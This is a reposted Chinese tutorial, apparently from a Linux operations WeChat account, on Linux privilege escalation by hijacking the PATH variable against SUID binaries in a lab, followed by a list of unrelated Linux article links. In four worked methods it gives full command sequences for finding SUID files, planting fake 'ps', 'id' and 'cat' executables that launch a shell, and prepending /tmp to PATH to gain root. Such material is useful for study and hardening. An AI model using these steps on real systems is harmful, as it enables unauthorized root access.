如何使用环境变量进行Linux提权的方法详细资料概述

马哥Linux运维 2018-07-05 09:50 次阅读

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

如何使用环境变量进行Linux提权的方法详细资料概述

正如你在demo.c文件中看到的,我们正在调用ps命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。

因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。

方法2

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我们正在调用id命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。

find / -perm -u=s -type f 2>/dev/null

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。

cd /home/raj/script/ls./raj

Nano**编辑器**

cd /tmpnano cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。

cd /home/raj/scriptls./ignite

Vi编辑器

cd /tmpvi cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用环境变量进行Linux提权的方法详细资料概述

原文标题:黑客的Linux神技能:使用环境变量进行提权

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
分享:

评论

相关推荐

如何通过一些Linux的安全命令加固你的Linux系统?改善你的Linux安全

在最开始,我们需要问的一个问题是:Linux是已经足够被安全加固了吗?答案当然是否定的。那些娴熟的攻....

的头像 马哥Linux运维 发表于 09-24 12:42 26次 阅读
如何通过一些Linux的安全命令加固你的Linux系统?改善你的Linux安全

Linux内核的代码隐藏的美妙故事

因为LINUX操作系统的流行,Linus 已经成为地球人都知道的名人。虽然大家可能都听过钱钟书先生的....

的头像 Linuxer 发表于 09-23 14:49 155次 阅读
Linux内核的代码隐藏的美妙故事

基于嵌入式linux开发板的贪吃蛇游戏运行

如何在嵌入式linux开发板上运行贪吃蛇游戏呢?本文以EasyARM-i.MX283A为硬件载体,简....

的头像 ZLG致远电子 发表于 09-23 14:08 98次 阅读
基于嵌入式linux开发板的贪吃蛇游戏运行

Linux中的管道和命名管道介绍

在 Linux 中,pipe 能让你将一个命令的输出发送给另一个命令。管道,如它的名称那样,能重定向....

的头像 Linux爱好者 发表于 09-23 10:33 76次 阅读
Linux中的管道和命名管道介绍

Linux设备驱动总线关系概述

前言: 本篇blog主要是整理了一下总线,驱动,设备之间的关系概述。 一、总线、驱动、设备     &...

发表于 09-21 11:42 620次 阅读
Linux设备驱动总线关系概述

Linux vGPU支持NVIFR吗?

你好 我们有一个OpenGL应用程序,它使用NVIFR进行h264编码。 它将结果保存在文件中。 我们现在正在使用带有附加vGP...

发表于 09-21 11:15 15次 阅读
Linux vGPU支持NVIFR吗?

nvidia-xconfig输出不适用于vGPU

[与我最近的其他帖子有关,但我是单独发布的,希望能使问题清晰易懂。] 对于ESXi 6 U2,无论vGPU配置文件如何,在Linux...

发表于 09-21 11:05 40次 阅读
nvidia-xconfig输出不适用于vGPU

linux下配置samba服务

samba : 1、概念: 主要用于在linux中配置共享目录给网络中的其他主机 2、安装: sudo apt-get install samba...

发表于 09-21 10:57 510次 阅读
linux下配置samba服务

【Linux基础】Linux软链接简介

  一、Linux软链接简介   Linux的软链接(symbolic link)又叫符号连接,相当于Windows下的快捷方式。   Linux软链接的...

发表于 09-20 15:50 387次 阅读
【Linux基础】Linux软链接简介

【Linux基础】Linux硬链接简介

  一、Linux硬链接简介   Linux下的文件是通过索引节点(Inode)来识别文件的,硬链接可以认为是一个指向文件索引节点的...

发表于 09-20 15:47 354次 阅读
【Linux基础】Linux硬链接简介

Linux Shell系列教程之(十七) Shell文件包含

  一、Shell文件包含格式   Shell文件包含的格式如下,使用点号“.”+文件名包含:   . filename   或者sour...

发表于 09-20 15:42 348次 阅读
Linux Shell系列教程之(十七) Shell文件包含

是否有可用的Mac或Linux客户端?

目前我们有一个Windows客户端。 请查看以后访问Mac& Linux客户端。 以上来自于谷歌翻译 以下为原文 Curren...

发表于 09-20 11:36 39次 阅读
是否有可用的Mac或Linux客户端?

【Nanopi2试用体验】一个Linux小白体验友善之臂品牌知名老板子的摸爬滚打历程【烧录系统&环境搭建】

    有幸在发烧友论坛申请到友善之臂公司在15年年底推出的知名创客单板计算机——Nanopi2,是的大家没看错,今年是18...

发表于 09-20 00:53 350次 阅读
【Nanopi2试用体验】一个Linux小白体验友善之臂品牌知名老板子的摸爬滚打历程【烧录系统&环境搭建】

浅析Linux私房菜作者鸟哥的学习秘诀

对Linux稍有了解的人,都会知道台湾有个“鸟哥”,出身于环境工程,却偏偏成为了一代人的Linux启....

的头像 马哥Linux运维 发表于 09-19 17:09 164次 阅读
浅析Linux私房菜作者鸟哥的学习秘诀

Python单元测试框架是什么?及如何使用详细代码说明

本文档的主要内容详细介绍的是Python单元测试框架是什么?及如何使用详细代码说明包括了:使用PyU....

发表于 09-19 14:49 23次 阅读
Python单元测试框架是什么?及如何使用详细代码说明

Linux内核作为一个超级巨大的开源项目,你知道它最新的状态如何吗?

当涉及基于公司电子邮件域的顶级内核贡献者时,该列表由 Intel,Red Hat,Linux Fou....

的头像 Linux爱好者 发表于 09-18 17:51 231次 阅读
Linux内核作为一个超级巨大的开源项目,你知道它最新的状态如何吗?

基于嵌入式linux系统下的AD7873触摸屏驱动系统设计详解

随着计算机技术的发展和普及,触摸屏技术得到了越来越广泛应用,在各种手持设备中,如手机、MP4、掌上游....

发表于 09-18 16:57 128次 阅读
基于嵌入式linux系统下的AD7873触摸屏驱动系统设计详解

嵌入式瑞芯微VS-RK3399板卡Linux WIFI BT开发指南

嵌入式瑞芯微VS-RK3399板卡Linux WIFI BT 开发指南 本文档主要介绍基于 Rockchip 平台的 WIFI、BT 的内核配置...

发表于 09-18 10:03 591次 阅读
嵌入式瑞芯微VS-RK3399板卡Linux WIFI BT开发指南

介绍一种新的框架式嵌入式UI开发平台

工业产品的交互界面开发要求越来越接近于消费领域的产品。选择一种快速且低成本的嵌入式UI开发方案显得尤....

的头像 ZLG致远电子 发表于 09-18 09:44 1122次 阅读
介绍一种新的框架式嵌入式UI开发平台

Linux之父为自己粗鲁言论道歉,并宣布休假!

之前,Torvalds在公开和私下邮件沟通中都曾对Linux内核开发者和维护者言辞粗暴,其中不乏一些....

的头像 新智元 发表于 09-18 09:29 281次 阅读
Linux之父为自己粗鲁言论道歉,并宣布休假!

基于MIPS微处理器和嵌入式Linux操作系统的家庭网关设计详解

描述了一种无内部互锁的信息平推流式的32位嵌入式微处理器下,嵌入式Linux操作系统环境的家庭网关....

发表于 09-17 17:44 83次 阅读
基于MIPS微处理器和嵌入式Linux操作系统的家庭网关设计详解

基于嵌入式linux系统下的串口编程具体设置详解

本文基于嵌入式linux下串口应用编程进行了研究,详细介绍了串口设置的步骤,可以更好的理解串口的工....

发表于 09-17 17:10 138次 阅读
基于嵌入式linux系统下的串口编程具体设置详解

实操经验分享——在STM32上移植Linux

刚从硬件跳槽为嵌软时,没有任何一丝的准备。一入职,领导就交代了一项特难的任务——在stm32上移植l....

的头像 传感器技术 发表于 09-17 17:01 337次 阅读
实操经验分享——在STM32上移植Linux

基于嵌入式Linux系统的远程监控模块设计详解

嵌入式系统是“控制、监视或者辅助装置、机器和设备运行的装置”(devices used to con....

发表于 09-16 10:54 142次 阅读
基于嵌入式Linux系统的远程监控模块设计详解

Linux设备驱动详细资料介绍《Linux设备驱动程序》(中文第三版)免费下载

以 Linux 为代表的自由操作系统的很多优点之一, 是它们的内部是开放给所有人看的。 操作系统, ....

发表于 09-14 15:06 50次 阅读
Linux设备驱动详细资料介绍《Linux设备驱动程序》(中文第三版)免费下载

UNIX系统的程序设计接口函数介绍《UNIX环境高级编程》电子教材免费下载

本书描述了UNIX系统的程序设计接口-系统调用接口和标准C库提供的很多函数。本书针对的是所有的程序员....

发表于 09-14 15:06 33次 阅读
UNIX系统的程序设计接口函数介绍《UNIX环境高级编程》电子教材免费下载

了解Linux默认文件系统的发展历史

当 Linus 开发出刚起步的 Linux 内核时,Rémy Card 从事第一代的 ext 文件系....

的头像 Linux爱好者 发表于 09-14 14:50 311次 阅读
了解Linux默认文件系统的发展历史

如何提高你的C语言编程能力?带你提升C语言编程能力

  C语言: 1.Windows、Linux、Unix 等操作系统的内核90%以上都使用C语言开发;....

发表于 09-14 10:53 76次 阅读
如何提高你的C语言编程能力?带你提升C语言编程能力

基于Linux 2.6.16的嵌入式开发平台的风力发电监控系统开发设计

为了适应不同的应用场合,同时考虑到计算机系统的灵活性、可伸缩性以及可裁剪性,一种以应用为中心、以计算....

发表于 09-13 17:22 104次 阅读
基于Linux 2.6.16的嵌入式开发平台的风力发电监控系统开发设计

基于32位ARM920T内核的微处理器的嵌入式Linux系统构建详解

目前,在嵌入式系统中基于ARM微核的嵌入式处理器已经成为市场主流。随着ARM技术的广泛应用,建立面向....

发表于 09-13 17:16 84次 阅读
基于32位ARM920T内核的微处理器的嵌入式Linux系统构建详解

基于嵌入式Linux系统下Mini GUI的移植方法与过程详解

近几年,嵌入式 Linux 系统已得到广泛的应用,相应的图形用户界面的开发也日趋重要,MiniGUI....

发表于 09-12 16:22 150次 阅读
基于嵌入式Linux系统下Mini GUI的移植方法与过程详解

基于嵌入式Linux系统的Bootloader模型在MIPS64上的移植设计浅析

Linux具备良好的裁剪性和移植性,并且开源、资源丰富,已成为嵌入式系统的开发热点。一个完整的嵌入式....

发表于 09-12 16:13 89次 阅读
基于嵌入式Linux系统的Bootloader模型在MIPS64上的移植设计浅析

Linux内核通知链如何引入?原理是什么?如何使用和实现?及实例分析

内核通知链引入 概念 1.子系统之间产生关联(耦合) 2.只能在内核子系统之间使用,不能内核与....

发表于 09-12 15:05 31次 阅读
Linux内核通知链如何引入?原理是什么?如何使用和实现?及实例分析

嵌入式开发Linux网络编程培训资料的详细资料免费下载

本文档的作用内容详细介绍的是嵌入式开发Linux网络编程培训资料的详细资料免费下载。

发表于 09-12 11:55 29次 阅读
嵌入式开发Linux网络编程培训资料的详细资料免费下载

创建英特尔®VTune™性能分析器项目

This short introductory video explains how to set ....

的头像 英特尔 Altera视频 发表于 09-12 05:05 121次 观看
创建英特尔®VTune™性能分析器项目

英特尔VTune™性能分析器的基础知识

This short video explains the basics of interpreti....

的头像 英特尔 Altera视频 发表于 09-12 05:03 124次 观看
英特尔VTune™性能分析器的基础知识

基于嵌入式Linux平台构建视频监控系统的设计过程详解

目前,嵌入式系统在视频监控中的应用越来越广泛。伴随着网络的强大功能,视频监控更侧重网络监控方案,要求....

发表于 09-11 17:50 134次 阅读
基于嵌入式Linux平台构建视频监控系统的设计过程详解

以基于Linux的嵌入式系统为核心的测控系统设计

当前,在工业控制领域,网络控制技术快速发展。网络控制要求测控系统必须具备两方面的功能:一方面要在现场....

发表于 09-11 17:46 109次 阅读
以基于Linux的嵌入式系统为核心的测控系统设计

Linux设备驱动如何开发?《LINUX设备驱动开发详解》详细直流免费下载

任何一个计算机系统的运行都是系统中软硬件协作的结果,没有硬件的软件是空中楼阁,而没有软件的硬件则只是....

发表于 09-11 16:25 26次 阅读
Linux设备驱动如何开发?《LINUX设备驱动开发详解》详细直流免费下载

嵌入式linux怎么学?linux教程之《嵌入式Linux应用程序开发标准教程》

自由开源软件在嵌入式应用上,受到青睐,Linux 日益成为主流的嵌入式操作系统之一。随着摩托罗拉手机....

发表于 09-11 15:47 240次 阅读
嵌入式linux怎么学?linux教程之《嵌入式Linux应用程序开发标准教程》

如何使用Linux设计一个网络聊天室详细资料免费下载

本文档的作用内容详细介绍的是如何使用Linux设计一个网络聊天室详细资料免费下载。

发表于 09-11 15:46 25次 阅读
如何使用Linux设计一个网络聊天室详细资料免费下载

智能影音系统,智能家居,视频对讲系统等12个分组项目系统列表免费下载

本文档的作用内容详细介绍的是12个分组项目系统列表免费下载包括了:智能影音系统,讯飞云语音智能车,智....

发表于 09-11 15:46 26次 阅读
智能影音系统,智能家居,视频对讲系统等12个分组项目系统列表免费下载

数据库为什么有可能喜欢Linux AIO(异步I/O)?

这样的AIO有一个极大的好处在于,IO不会阻塞住CPU的行为,有利于充分利用硬件的资源,有利于让CP....

的头像 MCA手机联盟 发表于 09-11 10:42 480次 阅读
数据库为什么有可能喜欢Linux AIO(异步I/O)?

用DPDK运行VNF应用程序

This video shows how to run a DPDK testpmd applica....

的头像 英特尔 Altera视频 发表于 09-11 07:21 168次 观看
用DPDK运行VNF应用程序

用DPDK启动VCwitter并配置端口

In this video you'll learn to launch Open vSwitch*....

的头像 英特尔 Altera视频 发表于 09-11 05:51 156次 观看
用DPDK启动VCwitter并配置端口

嵌入式Linux与Android联盟成立,主要在工业嵌入式市场推动开放

全球智能系统领导厂商研华公司在2017年纽伦堡嵌入式电子与工业计算机应用展(Embedded Wo....

发表于 09-10 17:37 162次 阅读
嵌入式Linux与Android联盟成立,主要在工业嵌入式市场推动开放

free命令介绍!内存的分类!

上面输出的结果比较难理解的可能是第三行,为什么要向用户展示这行数据呢?内存使用量减去系统buffer....

的头像 马哥Linux运维 发表于 09-10 17:21 336次 阅读
free命令介绍!内存的分类!

用DPDK支持构建和启动DOCKER容器

In this video you'll build and launch two Docker c....

的头像 英特尔 Altera视频 发表于 09-10 04:22 124次 观看
用DPDK支持构建和启动DOCKER容器

Linux驱动程序设计(4)

Linux driver programming

的头像 英特尔 Altera视频 发表于 09-10 04:11 224次 观看
Linux驱动程序设计(4)

如何保持在NFV应用程序中运作

For DPDK packet processing to benefit from today's....

的头像 英特尔 Altera视频 发表于 09-10 04:10 243次 观看
如何保持在NFV应用程序中运作

Linux内核与Android的关系

Android虽然建立在Linux内核之上,但是他对内核进行了一些扩展,增加了一些驱动。比如Bind....

发表于 09-09 09:10 102次 阅读
Linux内核与Android的关系

关于Linux操作系统中LKM的优势与不足研究与应用浅析

Linux系统开放源代码、系统漏洞少,在面对病毒和黑客入侵时能提供更好的安全性和稳定性,基于以上这些....

发表于 09-08 10:51 69次 阅读
关于Linux操作系统中LKM的优势与不足研究与应用浅析

关于嵌入式Linux在PMP消费类电子产品上的应用探讨浅析

Linux 是一种适合于嵌入式系统的开源操作系统,可以高效地处理各种复杂的任务。从基于TI DM32....

发表于 09-08 10:47 63次 阅读
关于嵌入式Linux在PMP消费类电子产品上的应用探讨浅析

如何制作一个基于linux 2.6.19内核的小型Linux操作系统?

ARM9 S3C2410微处理器与Linux的结合越来越紧密,逐渐在嵌入式领域得到广范的应用。目前....

发表于 09-07 17:09 122次 阅读
如何制作一个基于linux 2.6.19内核的小型Linux操作系统?

从RTOS到嵌入式Linux的应用移植步骤以及相关的关键技术分析

在过去几年中,Linux成功地取代了一些最主要的传统RTOS(实时操作系统)平台,成为了各种各样的....

发表于 09-07 16:47 111次 阅读
从RTOS到嵌入式Linux的应用移植步骤以及相关的关键技术分析

开源是Linux成功的核心要素

Linus 还评论了他作为 Linux 维护者的角色以及为开发者社区发展所能做或应该做些什么。“作为....

的头像 Linux爱好者 发表于 09-06 16:52 285次 阅读
开源是Linux成功的核心要素

关于四种实时嵌入式Linux操作系统的对比分析浅析

本文对四种实时操作系统(RTOS)特性进行分析和比较。它们是:Lynx实时系统公司的LynxOS、Q....

发表于 09-05 17:39 222次 阅读
关于四种实时嵌入式Linux操作系统的对比分析浅析

关于嵌入式系统的特点和Linux内核的实时应用分析

Linux本身为分时操作系统,其系统目标为较好的平均响应时间和较高的吞吐量,而实时系统则主要考虑任务....

发表于 09-05 17:25 120次 阅读
关于嵌入式系统的特点和Linux内核的实时应用分析